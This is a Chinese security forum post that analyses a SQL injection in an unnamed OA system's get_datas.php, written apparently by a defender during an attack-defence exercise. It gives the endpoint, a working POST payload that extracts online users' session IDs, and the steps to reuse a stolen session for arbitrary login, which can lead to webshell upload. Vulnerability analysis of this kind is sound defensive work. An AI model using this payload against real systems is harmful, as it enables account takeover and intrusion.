1.1漏洞特征通过构造绕过特殊的sql注入语句,对在线用户Session记录进行任意查询。利用该漏洞可以实现任意用户登录。配合任意文件上传漏洞,上传webshell。 1.2漏洞原理攻击者通过对…
**1.1漏洞特征
通过构造绕过特殊的sql注入语句,对在线用户Session记录进行任意查询。利用该漏洞可以实现任意用户登录。配合任意文件上传漏洞,上传webshell。
1.2漏洞原理
攻击者通过对某OA系统进行代码审计,找到get_datas.php文件中执行sql语句的变量处于可控状态。并可以通过此漏洞获取在线用户的Session值。
1.3利用方法
1、使用POST方式访问
/general/reportshop/utils/get_datas.php
payload为:
USER_ID=OfficeTask&PASSWORD=&col=1,1&tab=5 where 1={`\='` 1} union (select uid,sid from user_online where 1\={`=` 1})-- '1**
2、通过获取到在线用户的Session,登录general/index.php 时替换里面的Session值即可实现任意用户登录。
3.处置/应对措施
PoC:
USER_ID=OfficeTask&PASSWORD=&col=1,1&tab=5 where 1={`\='` 1} union (select uid,sid from user_online where 1\={`=` 1})-- '1
4.详细分析过程
由于攻击者触发的告警极少,因此之前的日志并未做分析。直至攻击者连接木马文件时,监测组才发现了其可疑行为。为了更好的发现问题点,我们将所有的该攻击IP的所有访问日志导出,由溯源分析组逐条的查看其可疑行为,通过时间发生的倒序排查法,最终定位到了该日志上:
单纯看该攻击payload没有太高深的地方,而且告警的上下文极其不连贯,因此无法判定其如何进入的系统后台,之前单位内部有规定HW防守人员不得随意对业务系统进行测试,鉴于此我们提出跟集团领导请示进行复现漏洞的操作,并做好记录。提交申请后,组织人员对该漏洞点进行了测试。
1、要求管理员在其单位驻地登录系统,并保持。
2、防守人员使用burp工具对该问题点进行复现。截图如下:
获取到相应的session值后,加入到repeater模块进行测试,当时为了检测效果先使用了错误session直接登录的方式,截图如下:
使用正确的session值后
可以直接进入后台。至此复现完成如何实现任意用户登录的部分。
- 本文作者: Rain奕天
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/278
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!